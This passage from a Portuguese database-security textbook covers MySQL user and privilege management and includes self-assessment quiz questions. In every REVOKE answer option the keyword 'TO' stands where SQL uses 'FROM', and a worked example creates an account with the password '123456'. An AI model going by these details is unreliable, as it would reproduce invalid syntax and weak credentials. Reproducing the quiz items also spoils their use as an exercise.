papéis aos quais pertencem, onde cada sessão pode ter mais de um papel
atribuído, sendo mapeada para apenas um usuário. Separar as tarefas é
outra função importante para impedir que um usuário realize o trabalho que
requer o envolvimento de mais pessoas, o que é feito pela exclusão mútua. Os
papéis podem ser criados com o comando CREATE ROLE e destruídos com o
comando DROP ROLE.

16
AUTOATIVIDADE

1 As ameaças de segurança a banco de dados são relacionadas a três objetivos


de segurança mais gerais. Assinale a alternativa em que um desses objetivos
de segurança é descrito de forma CORRETA:

a) ( ) Acessibilidade: controlar o acesso a bancos de dados específicos.


b) ( ) Sigilo: possibilitar a atualização dos dados por usuários externos.
c) ( ) Confidencialidade: proteger a informação de modificações indevidas.
d) ( ) Disponibilidade: permitir acesso aos dados a usuários autorizados.

2 A proteção dos bancos de dados contra ameaças é garantida por quatro


tipos de medidas de controle específicas. Assinale a alternativa na qual uma
dessas medidas é descrita de forma CORRETA:

a) ( ) Controle de acesso: proteção de dados ao transmiti-los por rede de


comunicação.
b) ( ) Controle de ingerência: criação de contas de usuários para moderar a
entrada no SGBD.
c) ( ) Controle de fluxo: controle do deslocamento de informações a usuários
não autorizados.
d) ( ) Criptografia: interpretação de resumos de dados sobre um grupo de
atributos de uma tabela.

3 O administrador de banco de dados é o principal responsável pela


administração e pelo gerenciamento de um sistema de banco de dados. Entre
suas responsabilidades estão a criação de conta e a concessão e revogação de
privilégios. Assim, observe a expressão a seguir:

GRANT SELECT, UPDATE (NOTA), INSERT, DELETE ON ALUNOS TO


PROFESSOR5 WITH GRANT OPTION;

Assinale a alternativa CORRETA que descreve a função da expressão apresentada:

a) ( ) Concede privilégios que permitem a conta PROFESSOR recuperar,


atualizar o atributo nota e excluir tuplas da relação ALUNOS,
possibilitando que esses privilégios sejam repassados a outras contas.
b) ( ) Concede privilégios que permitem a conta PROFESSOR5 recuperar,
atualizar o atributo nota e inserir e excluir tuplas da relação ALUNOS,
possibilitando que esses privilégios sejam repassados a outras contas.
c) ( ) Concede privilégios que permitem a conta PROFESSOR5 recuperar,
atualizar o atributo notas, inserir e excluir tuplas da relação ALUNO,
possibilitando que esses privilégios sejam repassados a outras contas.
d) ( ) Concede privilégios que permitem a conta PROFESSOR5 recuperar o
atributo (nota), atualizar, inserir e excluir tuplas da relação ALUNOS,
possibilitando que esses privilégios sejam repassados a outras contas.

17
4 Assim como a concessão, a revogação de privilégios para usuários em um
banco de dados é importante para garantir a segurança das informações
armazenadas. Sendo assim, com relação à afirmação em que são revogados
os privilégios da relação:

• CLIENTE da conta usu_teste: o que permite alteração de tabelas.


• Colunas e índices; o que permite excluir tabelas, visões, triggers ou banco
de dados.

Assinale a alternativa CORRETA:


a) ( ) REVOKE ALTER, DROP ON CLIENTE TO USU_TESTE.
b) ( ) REVOKE UPDATE, DELETE ON CLIENTE TO USU_TESTE.
c) ( ) REVOKE USAGE, INDEX ON CLIENTE TO USU_TESTE.
d) ( ) REVOKE ALTER, DELETE ON CLIENTE TO USU_TESTE.

5 O modelo de segurança de acesso de autorização baseado em papéis


auxilia a conceder os privilégios de acesso relacionados com o trabalho dos
usuários, ou o seu papel na organização. Sendo assim, assinale a alternativa
CORRETA que descreve uma das características da autorização baseada
em papéis.

a) ( ) Os papéis podem ser criados por meio do uso do comando DROP


ROLE.
b) ( ) Pode ser utilizado tanto com os controles de acesso discricionário
quanto obrigatório.
c) ( ) O controle da inclusão múltipla de papéis pode ser feito por meio da
exclusão mútua.
d) ( ) Cada sessão de usuário pode ter mais que um papel atribuído e mais
que um usuário.

18
TÓPICO 2 —
UNIDADE 1

GERENCIAMENTO DE USUÁRIOS E DE PRIVILÉGIOS NO


BANCO DE DADOS

1 INTRODUÇÃO
O usuário faz parte do grupo de pessoas que compõem a visão sociotécnica
dos sistemas empresariais, formados por hardware, dados, software e pessoas.
Segundo Sommerville (2007), os usuários são pessoas influenciadas pela forma
como a organização é gerenciada. Eles também são influenciados pelas suas
interações com outras pessoas dentro e fora da organização.

Decorre daí a importância do usuário no banco de dados. A partir dos


dados armazenados e por meio de seus processos e atitudes, o usuário atribui
o verdadeiro valor ao alcance dos objetivos do negócio. A confidencialidade, ou
seja, a proteção aos dados, também é determinada pelo modo como os usuários
lidam com as informações. Nesse contexto, é importante conhecer as visões que os
usuários possuem com relação ao desenvolvimento de suas atividades. Em síntese,
a visão é a forma como o usuário enxerga e aplica os dados. Muitos usuários podem
compartilhar uma mesma visão, o que justifica o uso de grupos de usuários.

Neste tópico, você conhecerá os conceitos de usuário e grupo de usuários.


Você também vai ver a importância de conhecer a visão adequada de cada usuário.
Além disso, estudará as etapas de gerenciamento e a utilização de scripts para a
execução de comandos SQL e para a manutenção de usuários.

O sistema de banco de dados é formado por hardware, software e pessoas.


Cada um atua de uma forma: o hardware na disponibilização dos recursos físicos
de comunicação, espaço físico, processamento e armazenamento; o software na
realização das atividades de acesso ou de disponibilidade dos dados; as pessoas
na definição, gerência e utilização dos dados. Cada parte com sua função, mas
todas com total importância para o contexto geral. Especificamente, com relação
às pessoas, para que elas possam utilizar os recursos, é preciso que sejam
devidamente cadastradas no banco de dados. O cadastramento é realizado pelo
DBA e, a partir daí, as pessoas são usuários do banco de dados, com identificação
e senha de acesso.

A administração de um banco de dados envolve ações referentes à


criação e à manutenção do dicionário de dados, ao gerenciamento de espaço, ao
acompanhamento de utilização de recursos e ao gerenciamento de usuários e de
privilégios.

19
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

O gerenciamento de usuários envolve, em um primeiro momento, a


conceituação de usuários, grupos e visões. Na sequência, as atividades de
identificação do usuário, planejamento de grupos e de visões, as quais buscam
conhecer que tipo de uso ele fará com os dados. Por fim, o gerenciamento dos
usuários e a manutenção desses, criando, alterando e excluindo usuários, sempre
no propósito de gerar confidencialidade, integridade e disponibilidade dos dados.

DICAS

A seguir, você visualizará o processo de gerenciamento e de manutenção de


usuários do banco de dados, os níveis de abstração e o tipo de usuário para cada nível.

FIGURA – PROCESSO DE GERENCIAMENTO E MANUTENÇÃO DE USUÁRIOS

FONTE: Adaptada de <https://blog.saphir.com.br/gerenciamento-do-banco-de-dados-


por-que-se-preocupar-com-isso/>. Acesso em: 11 ago. 2021.

20
TÓPICO 2 — GERENCIAMENTO DE USUÁRIOS E DE PRIVILÉGIOS NO BANCO DE DADOS

A empresa é um organismo dinâmico em que todos os dias procedimentos


são ajustados, pessoas são contratadas e, também, dispensadas. Toda essa
movimentação gera manutenção nos ambientes operacionais e tecnológicos. No
caso dos bancos de dados, é preciso registrar a entrada de novas pessoas autorizadas
para o acesso aos dados e retirar as pessoas que são desligadas, pois essas não
devem mais ter acesso aos dados, visto que é necessário preservar a integridade e a
confidencialidade dos dados.

DICAS

A seguir, você verá, a partir de uma situação de contratação de novos


funcionários, quais procedimentos um DBA deve realizar para a concessão de identificação
de usuário aos novos funcionários.

FIGURA – IDENTIFICAÇÃO DE USUÁRIOS

21
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

FONTE: O autor

2 USUÁRIOS, GRUPOS E VISÕES


Segundo Graves (2003), o sistema de um banco de dados é formado pelo
banco de dados e pelo ambiente disponível para o seu uso, que inclui usuários,
software e hardware. O hardware é necessário para hospedar e prover recursos
de interação entre os serviços disponibilizados pelos softwares. Por sua vez, o
software é composto pelo sistema operacional, pelo Sistema Gerenciador de
Banco de Dados (SGBD) e por programas de diversas finalidades. Os usuários
são as pessoas que, de alguma forma, utilizam os dados, seja para desenvolver os
softwares – caso dos analistas e programadores —, para gerenciar os dados – caso
dos administradores de banco de dados (DBA) —, ou para utilizar os dados – caso
dos clientes ou usuários finais (figura a seguir).

22
TÓPICO 2 — GERENCIAMENTO DE USUÁRIOS E DE PRIVILÉGIOS NO BANCO DE DADOS

FIGURA 3 – INTERAÇÃO DOS USUÁRIOS COM BANCO DE DADOS

FONTE: O autor

Em um ambiente operacional de tecnologia, há servidores que atendem


aos sistemas corporativos e bancos de dados que trabalham coordenados pelo
sistema operacional do servidor onde estão instalados, mas com autonomia
em suas definições. Há também usuários do sistema operacional utilizando os
sistemas corporativos, e devem existir os usuários do banco de dados.

Os usuários do banco de dados possuem definição própria com relação às


definições no servidor hospedeiro.

Se um usuário é criado no âmbito do banco de dados, o SGBD tem total


controle das ações e visões deste usuário. A cada usuário é associado um nome de
identificação, que serve de meio para a definição de sua visão no banco de dados.
Segundo Macedo (2011), os nomes dos usuários de banco de dados são globais para
todo o agrupamento de bancos de dados (e não próprios de cada banco de dados).

NTE
INTERESSA

Em algumas instalações, os usuários do banco de dados são criados a partir


dos usuários nos servidores hospedeiros, mas é fato que o SGBD possui seus próprios
usuários cadastrados, independentemente da origem da criação.

Segundo o dicionário Aurélio (2018), a visão é o ato ou efeito de ver.


Para o banco de dados, a visão se refere às informações ou ao conjunto de
informações que o usuário busca. Assim, entende-se visão como um conjunto
virtual de informações formado a partir da junção de informações do banco de
23
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

dados. Silberschatz, Korth e Sudarshan (2012) consideram que proporcionar ao


usuário uma visão abstrata é um dos maiores benefícios de um banco de dados.
Na visão abstrata, o sistema oculta a forma de armazenamento e de manutenção
dos dados. Nesse sentido, os mesmos autores propõem três níveis de abstração
de usuário, cada um com sua representação conceitual dos dados. Buscando
eficiência na abstração dos dados, o SGBD fornece as informações apropriadas
para cada nível de abstração de usuário. Assim, cada nível terá uma abstração
que estará ocultando a complexidade e simplificando a interação. Os três níveis
de abstração de usuário são: físico, lógico e visão. Veja a seguir:

• O nível de abstração físico ou interno é considerado o nível mais baixo e


apresenta os dados como são armazenados no banco de dados (estruturas).
• O nível de abstração lógico ou conceitual é o nível intermediário, que apresenta
os dados e os seus relacionamentos.
• O nível de visão ou nível externo é o mais alto, utilizado pelos usuários finais.
Ele apresenta somente o que é necessário a esses usuários.

Na figura a seguir, você pode ver os níveis de abstração.

FIGURA 4 – NÍVEIS DE ABSTRAÇÃO

FONTE: Adaptada de Silberschatz, Korth e Sudarshan (2012)

De acordo com Silberschatz, Korth e Sudarshan (2012), um banco de dados


deve prover informações a todo tipo de usuário, conforme as suas necessidades
específicas. Essas necessidades acabam gerando visões distintas. Dessa forma, há
múltiplas visões dos dados. Por exemplo, em uma organização, os funcionários
do departamento pessoal precisam ver as informações necessárias para a folha de
pagamento e para o recolhimento dos impostos e das obrigações legais. Entre as
informações da folha de pagamento, você pode considerar: funcionário, situação
(ativo, férias, desligado, licença-maternidade, afastamento etc.), salário, faltas
no mês, folha de ponto, departamento, plano de saúde, entre outras. Assim, o
administrador do banco de dados cria uma visão específica com essas informações.
Já os funcionários do setor de compras precisam ver as informações relativas a
contratos (vendas), estoque, fornecedores, mercado, entre outras.

24
TÓPICO 2 — GERENCIAMENTO DE USUÁRIOS E DE PRIVILÉGIOS NO BANCO DE DADOS

Cada visão pode atender a vários usuários e, para o banco de dados, os


vários usuários formam um grupo. Assim, em um banco de dados, um grupo
representa o conjunto de usuários que têm a mesma visão dos dados. Manter
grupos de usuários simplifica a administração de usuários em um banco de dados
na medida em que as visões e ações podem ser atribuídas a partir do grupo e não
individualmente a cada usuário.

3 ETAPAS DE GERENCIAMENTO DE USUÁRIOS


Até agora, você viu que no banco de dados o acesso é feito por usuários
e que os dados são apresentados a ele de acordo com as suas necessidades.
Além disso, todo usuário deve ser identificado. Assim, é muito importante para
a segurança, a integridade e a confidencialidade do banco de dados conhecer
os usuários que o utilizam e classificá-los de acordo com as suas necessidades e
apropriações de uso.

Portanto, o gerenciamento de usuários controla os usuários do banco de


dados, disponibilizando as visões dos objetos que proverão os dados necessários.
Os usuários são classificados em função do tipo de utilização que se dá no banco
de dados: administradores, técnicos, especialistas e finais (figura a seguir).

FIGURA 5 – TIPOS DE USUÁRIOS

FONTE: O autor

• Usuários administradores

Há dois usuários administradores: administrador de dados e administrador


de banco de dados (DataBase Administrator [DBA]). Eles atuam no nível físico do
banco de dados e têm as funções listadas a seguir.

o Administrador de dados: define os dados, seus relacionamentos e o modo


como as aplicações podem compartilhar os dados; atualiza o esquema do
banco de dados; mantém a consistência das informações.
25
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

o Administrador de banco de dados: gerencia a estrutura de armazenamento,


a estratégia e a autorização de acesso aos dados; define controles de
integridade e estratégias de backup e monitoramento do desempenho.
Gerencia e planeja as atividades de manutenção dos bancos de dados,
define políticas de segurança e planos de contingência.

• Usuários técnicos

Os usuários técnicos atuam no nível lógico, pois utilizam os dados para o


desenvolvimento de sistemas diretamente no SGBD. Nessa atuação, é necessária a
utilização direta do banco de dados para testes e definições. Analistas de sistemas
e desenvolvedores são usuários técnicos, como você pode ver a seguir.

o Analista de sistemas: define os requisitos dos usuários finais e desenvolve


especificações para transações que atendam a esses requisitos.
o Desenvolvedor de aplicações: implementa as especificações dos programas,
testando, depurando, documentando e fazendo a manutenção.
o Desenvolvedor de banco de dados: trabalha com a construção de triggers
e linguagens de programação do banco de dados, como: PL/ SQL (Oracle),
Transact SQL (SQL Server) e PL/pgSQL (PostgreSQL). Essas linguagens
costumam ter um bom desempenho, pois ficam armazenadas no banco
de dados. O MySQL não possui uma linguagem de programação, mas
disponibiliza todos os recursos necessários para o desenvolvimento de
procedures e triggers.

• Usuários especialistas

Os usuários especialistas atuam no nível de visão com a função do usuário


final, mas também atuam no nível lógico, pois manipulam dados sem o uso de
aplicativos e utilizam linguagens de consulta diretamente no banco de dados
para obter consultas com o intuito de extração de conhecimento. Para isso, esses
usuários precisam conhecer a estrutura do banco de dados. Como exemplo de
usuário especialista, você pode considerar o analista de negócio que utiliza o data
warehouse e ferramentas de Business Intelligence.

• Usuários finais

Os usuários finais atuam no nível de visão. Eles manipulam os dados


do banco de dados por meio de interfaces construídas pelos aplicativos das
organizações em atendimento aos processos de negócio. Contudo, desconhecem
a estrutura do SGBD.

26
TÓPICO 2 — GERENCIAMENTO DE USUÁRIOS E DE PRIVILÉGIOS NO BANCO DE DADOS

DICAS

Vamos lembrar que um o data warehouse, considerado a base para a business


intelligence, é um armazém de dados utilizado para armazenar dados históricos dos
sistemas. Normalmente, os dados são desnormalizados. Eles são utilizados somente para
consultas, levando o grupo estratégico das empresas a tomar decisões baseadas em fatos,
não em intuições e especulações.
Por sua vez, a business intelligence é um processamento de dados que gera informações
que embasam a tomada de decisão. Essas informações podem ser apresentadas em formato
de relatórios ou dashboard. Para saber mais sobre a business intelligence, confira o trabalho
de Moura “Business Intelligence” (de 2000) na íntegra em: https://qrgo.page.link/qzvp.

4 POLÍTICA DE SEGURANÇA DA INFORMAÇÃO


A informação é o elemento básico para que a evolução aconteça e o
desenvolvimento humano se realize de forma completa (COURY, 2001 apud
CARDOSO; OLIVEIRA, 2013). Para Campos (2007, p. 21), “a informação é
elemento essencial para todos os processos de negócio da organização, sendo,
portanto, um bem ou ativo de grande valor”. Dessa forma, é possível dizer que a
informação é o coração que pulsa nas organizações.

Portanto, diante de uma variedade de ameaças e vulnerabilidades, o DBA


deve se preocupar com a confidencialidade, a integridade e a disponibilidade
da informação. A confidencialidade é a garantia de que a informação pode ser
acessada somente por pessoas autorizadas (ABNT, 2005). Se o acesso acontecer
por pessoa não autorizada, ocorrerá a quebra de sigilo, o que pode acarretar
danos para a organização. Como exemplo, considere o uso de senhas que não
sejam de propriedade do usuário.

A integridade é a garantia da exatidão e da completeza da informação


e dos métodos de processamento (ABNT, 2005). Assim, “garantir a integridade
é permitir que a informação não seja modificada, alterada ou destruída sem
autorização, que ela seja legítima e permaneça consistente” (DANTAS, 2011, s.
p.). Qualquer violação da informação ocasionará quebra de integridade. Por sua
vez, a disponibilidade é a garantia de que os usuários autorizados obtenham
acesso à informação e aos ativos correspondentes sempre que necessário (ABNT,
2005). A indisponibilidade por quaisquer motivos, voluntários ou não, acarreta
quebra de disponibilidade.

A gerência de usuários do banco de dados tem importância fundamental


na definição de uma boa política de segurança. A vulnerabilidade se dá também a
partir de equipamentos tecnológicos, mas principalmente a partir dos usuários. Isso
potencializa a importância da inclusão de regras relacionadas ao comportamento
e à postura dos usuários na implantação de uma política de segurança.
27
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

A Política de Segurança da Informação é um documento elaborado


na empresa que contém normas, métodos e procedimentos que garantem a
viabilidade e o uso dos ativos somente por pessoas autorizadas e que realmente
necessitam deles para realizar as suas funções na organização (FONTES, 2008).
Entre as seções da Política de Segurança da Informação, está a de controle de
acesso, diretamente ligada aos usuários, pois é por meio da concessão de acesso
que o usuário passa a ter visibilidade dos objetos e do ambiente do banco de
dados. O acesso é fornecido ao usuário por meio de duas informações: nome de
usuário, para identificar os usuários, e uma senha, para garantir o acesso restrito
ao ambiente. É importante definir uma política de senhas a fim de proteger os
dados do banco de dados. A política de senhas pode incluir regras de criação e
atualização, como estas:

• adotar prazo de validade para as senhas, obrigando o usuário a alterar a sua
senha em um período determinado (30 dias, por exemplo);
• estabelecer um critério de formação, por exemplo: tamanho, utilização de
caracteres especiais, maiúscula e minúscula, mistura de números e letras etc.;
• determinar, por uma lista, um conjunto de senhas proibidas;
• não permitir a repetição de senhas já utilizadas;
• buscar informações fáceis de memorizar, mas não utilizar datas comemorativas
pessoais.

A política pode ainda sugerir ao usuário atitudes como:

• Não permitir que o observem enquanto digita a senha.


• Não fornecer a senha a terceiros (a senha é intransferível e confidencial).
• Ter cuidado para utilizar a senha em equipamentos confiáveis.

Dessa forma, o DBA deve buscar conhecer os usuários e as suas


necessidades de uso efetivo dos recursos do banco de dados para não gerar
visibilidade desnecessária. Outro ponto importante refere-se à conscientização
do usuário quanto à importância do cumprimento dos pontos estabelecidos na
política de segurança da informação. Há diversos movimentos educacionais
focados em desenvolver esse tipo de conscientização.

DICAS

Para entender melhor a conscientização de usuários, acesse o link a seguir:


https://qrgo.page.link/Uv4S

28
TÓPICO 2 — GERENCIAMENTO DE USUÁRIOS E DE PRIVILÉGIOS NO BANCO DE DADOS

5 USO DE SCRIPTS
Um script é um conjunto de instruções organizadas para a execução de
um procedimento, denominado no MySQL de processamento batch. Em síntese,
o script é um arquivo de texto com a extensão. SQL gerado a partir de softwares de
edição. No caso de bancos de dados, utiliza-se o script para escrever as instruções
a realizar, agilizando a execução e gerando uma documentação. O uso de scripts
favorece também a reutilização. Esse recurso pode ser utilizado, por exemplo,
em um conjunto de procedimentos que devem ser rodados várias vezes, como
rotinas bimestrais de verificação de existência de usuários inativos.

Considere que a criação de um usuário implica a concessão de privilégios


a várias tabelas. Toda vez que se cria um usuário, as permissões devem ser
atribuídas. Dessa forma, para não ter de montar o conjunto de instruções sempre
que cria um usuário, você pode criar um script:

QUADRO 1 – INSTRUÇÕES

FONTE: O autor

Todo comando oferecido pelo SGBD MySQL pode ser usado em um


script. Toda instrução deve estar em uma linha e deve haver ponto e vírgula (;)
ao final da linha para identificar o fim do comando. O Manual de Referência do
MySQL 8.0 elenca os motivos a seguir para se utilizar um script (MYSQL, 2019a).

• utilizar consulta frequentemente e evitar redigitação dos comandos;


• reaproveitar instruções já existentes, adaptando-as a novas necessidades;
• otimizar tempo na correção de arquivos extensos. Imagine que você tem 40
linhas de comandos e que ocorre um erro no comando 20. Se você não tiver
os comandos em script, terá de redigitar os 19 comandos que já haviam sido
executados sem erro.

29
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

A execução do arquivo script se dá por meio do MySQL interativo, a partir


da commandline, em arquivo script e a partir de um script shell. Veja a seguir.

• Por meio do MySQL interativo

O comando para a execução do script é: SOURCE <endereço>nomeArquivo


Script.sql. O endereço é a localização do arquivo no disco. Recomenda-se sempre
utilizar o endereço completo. Quando o endereço é omitido, o arquivo de script
será procurado somente no diretório padrão, ou seja, onde foi submetida a
execução. Por exemplo:

Source C:\Program Files\Microsoft\mySQL\scripts\ criausuario.sql

• A partir da commandline

A submissão a partir da commandline implica a utilização do cliente mysql.


Deve-se ter uma conexão ativa. Veja:

mysql -u root -p <C: \ Usuários \ Usuário \ Desktop \


nomeArquivoScript.sql

Em casos de erros, o script para e não executa as instruções a partir do


erro. Em alguns casos, é possível permitir a execução mesmo em casos de erro.
Nessas condições, deve-se utilizar o parâmetro -f ou --f. Veja:

mysql -u root -p <C: \ Usuários \ Usuário \ Desktop \


nomeArquivoScript.sql - f

ou

mysql -u root -p <C: \ Usuários \ Usuário \ Desktop \


nomeArquivoScript.sql --f

• Em arquivo script

Um arquivo script pode executar o comando SOURCE para acionar outros


scripts durante a execução, mas isso não é aconselhável.

• A partir de um script shell

A linha de execução do script SQL pode ser uma linha de comando em


um arquivo shell. Dessa forma, é possível utilizar algoritmos para atender a
necessidades, com instruções de decisão e repetição. Veja um exemplo:

30
TÓPICO 2 — GERENCIAMENTO DE USUÁRIOS E DE PRIVILÉGIOS NO BANCO DE DADOS

DICAS

Script shell (ou simplesmente script) é um arquivo, executado pelo nome, que
contém uma sequência de um ou mais comandos. Há vários programas shell: Bourne Shell,
Korn Shell e C Shell.

• Procedimentos adicionais

O resultado da execução dos comandos pode:

• ser mostrado em um pager por meio do parâmetro |more;


• SOURCE <endereço>nomeArquivoScript.sql | more;
• ser gravado em um arquivo, mas para isso deve-se fornecer o nome do arquivo
na execução do script;
• SOURCE <endereço>nomeArquivoScript.sql > arquivoSaida.out.

Para gerar o formato de saída interativo, deve-se usar mysql -t. Já para
apresentar na tela a saída das instruções que são executadas, deve-se usar mysql -v.

• Manutenção de usuários

No banco de dados, todos os usuários devem ser identificados para ter


acesso aos recursos. Dessa forma, o DBA tem como função manter os usuários no
sistema de banco de dados. Para manter o usuário, o SGBD, por meio da linguagem
de consulta estruturada (Structured Query Language [SQL]), disponibiliza recursos
para criação, alteração e exclusão.

Aqui, você deve considerar a sintaxe apresentada pelo SGBD MySQL,


mas todos os demais SGBDs possuem instrução semelhante, visto que a SQL é
padronizada pelo Instituto Americano de Padronização (ANSI), o que a torna
uma linguagem padrão para os bancos de dados que a utilizam.

31
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

E
IMPORTANT

Caso você tenha dúvidas na composição dos comandos SQL, sempre busque
as informações disponíveis no site oficial de documentação do SGBD que escolher.

• Criação de Usuários

A criação de um usuário nos SGBDs é efetivada por meio do comando


CREATE USER. O DBA deve definir o perfil do usuário para atribuir-lhe a melhor
configuração. É recomendado definir um padrão de utilização para o ambiente, de
acordo com as necessidades de operação. As opções de configuração do CREATE
USER são apresentadas na seguinte sintaxe:

CREATE USER [IF NOT EXISTS]


nomeUsuario [opçãoAutenticação] [, nomeUsuário [opçãoAutenticação]] ...
DEFAULT ROLE nomeLista [, nomeLista ] ... [REQUIRE {NONE | opçãoTLS
[[AND] opçãoTLS] ...}]
[WITH opçãoRecurso [opçãoRecurso] ...]
[opçãoSenha | opçãoBloqueio] ...

O nomeUsuário representa a identificação e o nome do host. A identificação


e o nome do host devem estar entre aspas e separados pelo caractere especial @.
Assim: ‘identificação’@’nomeHost’.

A formação do nomeUsuario pode ser com letras, números e caracteres


especiais. Além disso, a opção Autenticação define o método de autenticação:

IDENTIFIED BY ‘senha’
| IDENTIFIED BY PASSWORD ‘senhaHash’
| IDENTIFIED WITH pluginAutenticação
| IDENTIFIED WITH pluginAutenticação AS ‘senhaHash’

A seguir, veja as definições.

• IDENTIFIED BY: servidor atribui plug-in implicitamente e atribui a senha


especificada.
• IDENTIFIED BY PASSWORD: servidor atribui plug-in implicitamente e
atribui o valor hash (obtido pelo método password()) a uma string que deseje
a senha.
• IDENTIFIED WITH: servidor atribui plug-in especificado e a conta não tem
senha.

32
TÓPICO 2 — GERENCIAMENTO DE USUÁRIOS E DE PRIVILÉGIOS NO BANCO DE DADOS

• IDENTIFIED WITH pluginAutenticação AS ‘senhaHash’: servidor atribui


plug-in especificado e a conta não tem senha. Armazena a senhaHash, se
informada.
• DEFAULT ROLE nomeLista [, nomeLista ] ...: define a lista de funções que
deverão estar ativas após a autenticação do usuário. A lista de funções
equivale à inclusão de um usuário a um grupo.
• Opção TLS: especifica opções relacionadas à conexão. Quando usado o
parâmetro NONE a conta não possui requisito SSL ou X 509.

Veja:

SSL
| X509
| CIPHER 'cipher'
| ISSUER ‘emissor’
| SUBJECT ‘objeto’

Opção recurso: define limite no uso de recursos do servidor. Veja:

MAX_QUERIES_PER_HOUR valor

| MAX_UPDATES_PER_HOUR valor
| MAX_CONNECTIONS_PER_HOUR valor
| MAX_USER_CONNECTIONS valor

Opção senha: define parâmetros para gerenciamento de senhas. Veja:

PASSWORD EXPIRE [DEFAULT | NEVER | INTERVAL N DAY]

| PASSWORD HISTORY {DEFAULT | N}


| PASSWORD REUSE INTERVAL {DEFAULT | N DAY}
| PASSWORD REQUIRE CURRENT [DEFAULT | OPTIONAL]

Opção bloqueio: bloqueia e desbloqueia contas. Veja:

ACCOUNT LOCK

| ACCOUNT UNLOCK

Suponha que, em um ambiente, o DBA definiu que todo usuário final,


quando criado, tem a seguinte configuração em sua conta:

• deve participar do grupo USUARIOSVISAO;


• é obrigado a criar uma nova senha no primeiro acesso;
• pode reutilizar senhas em um espaço de 60 dias;
• pode exigir redefinição de senha a cada 30 dias.

33
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

O comando de criação do usuário, segundo a especificação, seria: CREATE


USER ‘ana.silva’@'localhost' IDENTIFIED BY ‘123456’.

DEFAULT ROLE USUARIOSVISAO PASSWORD EXPIRE


PASSWORD REUSE INTERVAL 60 DAY PASSWORD EXPIRE INTERVAL 30 DAY;

E
IMPORTANT

O nome de contas de usuários é armazenado na tabela mysql_user. Cada linha


da tabela identifica o usuário, o nome do host, o password e os privilégios. O SGBD trata a
identificação do usuário como case sensitive, ou seja, diferencia letras maiúsculas de letras
minúsculas. Já para o nome do host, isso não se aplica.

• Alteração de usuários

A alteração de um usuário nos SGBDs é efetivada por meio do comando


ALTER USER, cujas opções de configuração são apresentadas na seguinte sintaxe:

ALTER USER [IF EXISTS]


nomeUsuario [opçãoAutenticação] [, nomeUsuário [opçãoAutenticação]] ...
[REQUIRE {NONE | opçãoTLS [[AND] opçãoTLS] ...}]
[WITH opçãoRecurso [opçãoRecurso] ...]
[opçãoSenha | opçãoBloqueio] ...

ALTER USER [IF EXISTS] USER() opçãoAutenticaçãoUsuario

ALTER USER [IF EXISTS] user DEFAULT ROLE


{NONE | ALL | nomeLista [,nomeLista] ...} Onde:
• nomeUsuário representa a identificação e o nome do host.
• opçãoAutenticação define o método de autenticação.

IDENTIFIED BY ‘identificação’ [REPLACE ‘identificaçãoAtual’] [RETAIN


CURRENT PASSWORD]
| IDENTIFIED WITH pluginAutenticação
| IDENTIFIED WITH pluginAutenticação BY ‘senha’ [REPLACE ‘senhaAtual’]
[RETAIN CURRENT PASSWORD]
| IDENTIFIED WITH pluginAutenticação AS ‘senhaHash’
| DISCARD OLD PASSWORD

34
TÓPICO 2 — GERENCIAMENTO DE USUÁRIOS E DE PRIVILÉGIOS NO BANCO DE DADOS

• Opção Autenticação Usuário modifica senhas.

IDENTIFIED BY ‘senha’
[REPLACE ‘senhaAtual’]
[RETAIN CURRENT PASSWORD]
| DISCARD OLD PASSWORD

• Opção TLS especifica opções relacionadas à conexão. Quando é usado o


parâmetro NONE, a conta não possui requisito SSL ou X 509.

SSL
| X509
| CIPHER 'cipher'
| ISSUER ‘emissor’
| SUBJECT ‘objeto’

• Opção Recurso define limite no uso de recursos do servidor.

MAX_QUERIES_PER_HOUR valor
| MAX_UPDATES_PER_HOUR valor
| MAX_CONNECTIONS_PER_HOUR valor
| MAX_USER_CONNECTIONS valor

• Opção Senha define parâmetros para gerenciamento de senhas.

PASSWORD EXPIRE [DEFAULT | NEVER | INTERVAL N DAY]


| PASSWORD HISTORY {DEFAULT | N}
| PASSWORD REUSE INTERVAL {DEFAULT | N DAY}
| PASSWORD REQUIRE CURRENT [DEFAULT | OPTIONAL]

• Opção Bloqueio bloqueia e desbloqueia contas.

ACCOUNT LOCK
| ACCOUNT UNLOCK

Por exemplo, suponha que, em um ambiente, o DBA resolveu que a


partir de hoje todos os usuários deverão trocar as suas senhas e estar inseridos
nos grupos VENDEDOR e ASSISTENTE. O comando de alteração do usuário,
segundo a especificação, seria:

ALTER USER ‘ana.silva’@'localhost'


DEFAULT ROLE VENDEDOR, ASSISTENTE PASSWORD EXPIRE;

35
UNIDADE 1 — SEGURANÇA, CONTROLE, GERENCIAMENTO E ADMINISTRADOR DE BASE DE DADOS

• Exclusão de usuários

A exclusão de um usuário nos SGBDs é efetivada por meio do comando


DROP USER, cujas opções de configuração são apresentadas na seguinte sintaxe:

DROP USER [IF EXISTS] nomeUsuario [,nomeUsuario] ...

A utilização da cláusula IF EXISTS implica o envio de um aviso em caso de


erro na execução. Quando se exclui um usuário, todos os recursos disponibilizados
a ele devem ser excluídos. No caso do SGBD MySQL, os privilégios são eliminados,
mas o DBA deve se encarregar de excluir os objetos criados pelo usuário, pois
essa não é uma operação realizada automaticamente. Sugere-se que os objetos
utilizados na produção do negócio sejam criados com o usuário ADMIN, que não
será eliminado, pois é o usuário criado na instalação do banco de dados.

• Criação de listas

Uma lista representa um usuário com várias funções autorizadas para uso.
Depois que o usuário é criado, é possível inseri-lo em listas por meio da cláusula
DEFAULT ROLE. A definição das listas deve ser estabelecida a partir do tipo de
visibilidade que o conjunto de usuários pode ter dos objetos. A administração de
listas facilita a manutenção e padroniza o uso dos recursos, mas ela nem sempre
é possível.

